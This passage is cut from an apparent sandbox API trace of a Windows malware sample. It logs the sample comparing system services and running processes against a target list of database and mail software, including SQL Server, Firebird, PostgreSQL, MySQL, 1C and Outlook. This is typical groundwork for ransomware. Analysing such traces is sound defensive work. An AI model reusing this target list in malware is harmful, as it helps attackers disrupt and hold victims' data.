(lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0152.932] lstrlenW (lpString="CscService") returned 10 [0152.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0152.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0152.932] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0152.932] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0152.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0152.932] lstrlenW (lpString="DcomLaunch") returned 10 [0152.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.932] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0152.932] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0152.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0152.932] lstrlenW (lpString="Dhcp") returned 4 [0152.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0152.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0152.932] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0152.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0152.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0152.932] lstrlenW (lpString="Dnscache") returned 8 [0152.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0152.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0152.932] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0152.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0152.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0152.932] lstrlenW (lpString="DPS") returned 3 [0152.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0152.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0152.932] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0152.933] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0152.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0152.933] lstrlenW (lpString="eventlog") returned 8 [0152.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0152.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0152.933] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0152.933] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0152.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0152.933] lstrlenW (lpString="EventSystem") returned 11 [0152.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0152.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0152.933] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0152.933] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0152.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0152.933] lstrlenW (lpString="gpsvc") returned 5 [0152.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0152.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0152.933] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0152.933] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0152.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0152.933] lstrlenW (lpString="iphlpsvc") returned 8 [0152.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.933] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0152.933] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0152.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0152.933] lstrlenW (lpString="LanmanServer") returned 12 [0152.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0152.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0152.933] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0152.933] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0152.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0152.933] lstrlenW (lpString="LanmanWorkstation") returned 17 [0152.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.934] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0152.934] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0152.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0152.934] lstrlenW (lpString="lmhosts") returned 7 [0152.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0152.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0152.934] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0152.934] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0152.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0152.934] lstrlenW (lpString="MMCSS") returned 5 [0152.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0152.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0152.934] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0152.934] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0152.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0152.934] lstrlenW (lpString="MpsSvc") returned 6 [0152.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0152.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0152.934] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0152.934] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0152.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0152.934] lstrlenW (lpString="Netman") returned 6 [0152.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0152.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0152.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0152.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0152.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0152.934] lstrlenW (lpString="netprofm") returned 8 [0152.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0152.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0152.934] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0152.934] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0152.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0152.935] lstrlenW (lpString="NlaSvc") returned 6 [0152.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0152.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0152.935] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0152.935] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0152.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0152.935] lstrlenW (lpString="nsi") returned 3 [0152.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0152.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0152.935] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0152.935] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0152.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0152.935] lstrlenW (lpString="PcaSvc") returned 6 [0152.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0152.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0152.935] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0152.935] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0152.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0152.935] lstrlenW (lpString="PlugPlay") returned 8 [0152.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0152.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0152.935] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0152.935] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0152.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0152.935] lstrlenW (lpString="Power") returned 5 [0152.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0152.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0152.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0152.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0152.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0152.935] lstrlenW (lpString="ProfSvc") returned 7 [0152.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0152.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0152.936] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0152.936] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0152.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0152.936] lstrlenW (lpString="RpcEptMapper") returned 12 [0152.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.936] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0152.936] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0152.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0152.936] lstrlenW (lpString="RpcSs") returned 5 [0152.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0152.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0152.936] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0152.936] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0152.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0152.936] lstrlenW (lpString="SamSs") returned 5 [0152.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0152.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0152.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0152.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0152.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0152.936] lstrlenW (lpString="Schedule") returned 8 [0152.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0152.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0152.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0152.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0152.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0152.936] lstrlenW (lpString="SENS") returned 4 [0152.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0152.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0152.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0152.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0152.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0152.937] lstrlenW (lpString="ShellHWDetection") returned 16 [0152.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0152.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0152.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0152.937] lstrlenW (lpString="Spooler") returned 7 [0152.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0152.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0152.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0152.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0152.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0152.937] lstrlenW (lpString="SysMain") returned 7 [0152.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0152.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0152.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0152.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0152.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0152.937] lstrlenW (lpString="Themes") returned 6 [0152.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0152.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0152.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0152.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0152.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0152.937] lstrlenW (lpString="TrkWks") returned 6 [0152.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0152.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0152.937] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0152.937] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0152.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0152.937] lstrlenW (lpString="UxSms") returned 5 [0152.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0152.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0152.938] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0152.938] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0152.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0152.938] lstrlenW (lpString="WdiServiceHost") returned 14 [0152.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0152.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0152.938] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0152.938] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0152.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0152.938] lstrlenW (lpString="WdiSystemHost") returned 13 [0152.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0152.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0152.940] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0152.940] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0152.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0152.940] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0152.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0152.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0152.941] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0152.941] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0152.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0152.941] lstrlenW (lpString="Winmgmt") returned 7 [0152.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0152.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0152.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0152.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0152.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0152.941] lstrlenW (lpString="WPDBusEnum") returned 10 [0152.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0152.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0152.941] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0152.941] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0152.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0152.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0152.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0152.943] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.943] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0152.944] lstrlenW (lpString="System") returned 6 [0152.944] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0152.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0152.944] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0152.944] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0152.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0152.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0152.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0152.944] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0152.944] lstrlenW (lpString="smss.exe") returned 8 [0152.944] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0152.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0152.944] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0152.944] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0152.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0152.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0152.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0152.944] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.945] lstrlenW (lpString="csrss.exe") returned 9 [0152.945] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.945] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.945] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.945] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.945] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.945] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.945] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0152.945] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0152.945] lstrlenW (lpString="wininit.exe") returned 11 [0152.945] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0152.945] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0152.945] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0152.945] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0152.945] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0152.945] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0152.945] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0152.945] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.946] lstrlenW (lpString="csrss.exe") returned 9 [0152.946] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.946] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.946] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.946] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.946] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.946] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.946] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0152.946] lstrlenW (lpString="winlogon.exe") returned 12 [0152.946] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0152.947] lstrlenW (lpString="services.exe") returned 12 [0152.947] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0152.947] lstrlenW (lpString="lsass.exe") returned 9 [0152.947] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0152.947] lstrlenW (lpString="lsm.exe") returned 7 [0152.947] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.948] lstrlenW (lpString="svchost.exe") returned 11 [0152.948] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.948] lstrlenW (lpString="svchost.exe") returned 11 [0152.948] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.948] lstrlenW (lpString="svchost.exe") returned 11 [0152.948] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.949] lstrlenW (lpString="svchost.exe") returned 11 [0152.949] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.949] lstrlenW (lpString="svchost.exe") returned 11 [0152.949] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 